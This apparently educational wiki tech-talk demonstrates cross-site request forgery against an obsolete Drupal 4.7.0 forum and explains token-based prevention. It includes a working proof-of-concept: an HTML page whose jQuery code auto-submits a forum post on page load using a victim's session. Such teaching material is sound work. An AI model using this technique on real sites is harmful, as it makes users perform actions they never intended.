CSRF-Tech-Talk

From Security Weekly Wiki
Jump to navigationJump to search

Yeah, CSRF has been discussed on Security Weekly a few times before (check out the new and growing technical library) and John has done videos on it. But it's back. We're not showing you anything new or revolutionary, as this was Patrick the Intern's first project, to get acquainted with the attack, how it works and set up a working exploit. For this, we're using a very old (6+ years) version of Drupal, version 4.7.0 to be specific. This vulnerability has long been fixed and if you use Drupal's own forms API, you should not have to worry about CSRF in your Drupal sites.

If you want history and background on CSRF like the "confused deputy" story and links, check out Paul's tech segment on it from Episode 82. However, in a nutshell, what this attack does is lets us use an authenticated user's session to perform some action on a site. In this case, a message board. Our message board is set up with permissions so that only users with valid credentials may post to the board. Anyone in the world can read the board, but you need a username and password to post. With CSRF, if we're able to merely get an authenticated user to open a web page, we are able to post what we want to the forum. Here's how it works:

Because we have access to the form, we can view the source and get the necessary information, which is the form's action and the form's variables that need to be sent with the request. For my forum, this is what it looks like, with some unimportant parts removed, like visual styling.

 <form action="/drupal-4.7.0/?q=node/add/forum/2"  method="post" >

<input type="hidden" name="edit[form_id]" id="edit-form_id" value="forum_node_form"  />

 Forums: 
    <select name="edit[taxonomy][1]"> 
      <option value="1">Hacking</option>
      <option value="2">-CSRF</option> 
      <option value="3">-XSS</option> 
      <option value="4">-SQLi</option> 
      </select>

 Subject: 
    <input type="text" name="edit[title]" id="edit-title"  size="60" />

 Body: 
    <textarea cols="60" rows="20" name="edit[body]"></textarea>

 Publishing options: 
    <input type="checkbox" name="edit[status]"  value="1" /> Published
    <input type="checkbox" name="edit[moderate]" value="1" /> In moderation queue 
    <input type="checkbox" name="edit[promote]" value="1" /> Promoted to front page ...

<input type="submit" name="op" value="Submit"  class="form-submit" /> 

</form> 

We see that we need to create a web page that will send a request to /drupal-4.7.0/?q=node/add/forum/2 to add a post to the forum with a taxonomy value of 2. Additionally, we need to send the Subject and Body of the post we want to have published. One part that can get easily overlooked, and we sometimes see this on various sites, the attacker leaves the message in moderation mode by not sending the correct publishing option. We'll want to include the "Published" editing status as well, to make sure our post is immediately visible. Lastly, we need to send the "op" of Submit, so the server will think the user submitted this request.

Now, we need to get an authenticated user to send the request via an HTTP post. One thing we can do is build a form that has all of these values in html <hidden> tags and then ask the user to click the button for some reason. No intelligent user is going to click the button on a form that some anonymous person sends them. So we need to step this up a bit.

It's not as hard to get someone to simply load a page as it is to get them to click a button on a page. So instead, we're going to add some javascript, using jQuery, and send off a POST request when the page loads. Here's the code for that:

 <head> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>

    <script> function hackMe(){ 
      $.post("/drupal-4.7.0/?q=node/add/forum/2", { 
        'edit[title]':"Cheap Viagra! Free Porn!", 
        'edit[taxonomy][1]': "2", 
        'edit[body]': "Proof of concept of CSRF! Security Weekly Rules! Hack Naked!", 
        'edit[form_id]':"forum_node_form", 'edit[status]':"1",
	'op':"Submit"   } );
	}
    }
</script> 
</head> 

<body onLoad="hackMe()"> 
<body>

Now, we just need to get an authenticated user to load the page we've created and there we have it, the user has posted to the forum for us. Csrf-screenshot.jpg

Prevention

This gets prevented by the use of session tokens. When the user first authenticates, a token is created and placed in that user's session. Every time the user accesses a page with a form, that token is added to the form and the session's token is compared to the value in the form request. Now when we look at the source of the form, we will not see the token for the authenticated user, we can't include it in our request and when the user loads our page, the server will reject the request.

Here is the source from a Drupal 7 blog where the token is now included:

<form action="/drupal-7/forum">
     ...
    <input type="hidden" name="form_token" value="Ptu73ZDOgo6Grf2dKmR0FyAycSo90JV9FFVfZNhENHM" />
    <input type="submit" id="edit-submit" name="op" value="Search" class="form-submit" />
    <input type="hidden" name="form_build_id" value="form-fQgMNLtO3mPU-mvfi1GZSYM9GANYdmrMowcO0JxByT0" />
    <input type="hidden" name="form_id" value="search_block_form" />
</form>

For more information on the prevention, check out the frameworks and explanations offered by OWASP

Stateless

Additionally, John Wilander has talked about Stateless CSRF, and on the OWASP CSRF cheat sheet which is also interesting for situations where there is no authentication. What happens with this is the web server will still set the session token in the form, but it will also set one in the user's cookie. When the user responds, the form token and the cookie value both need to be returned correctly. A third party is unable to see the value in a user's cookie.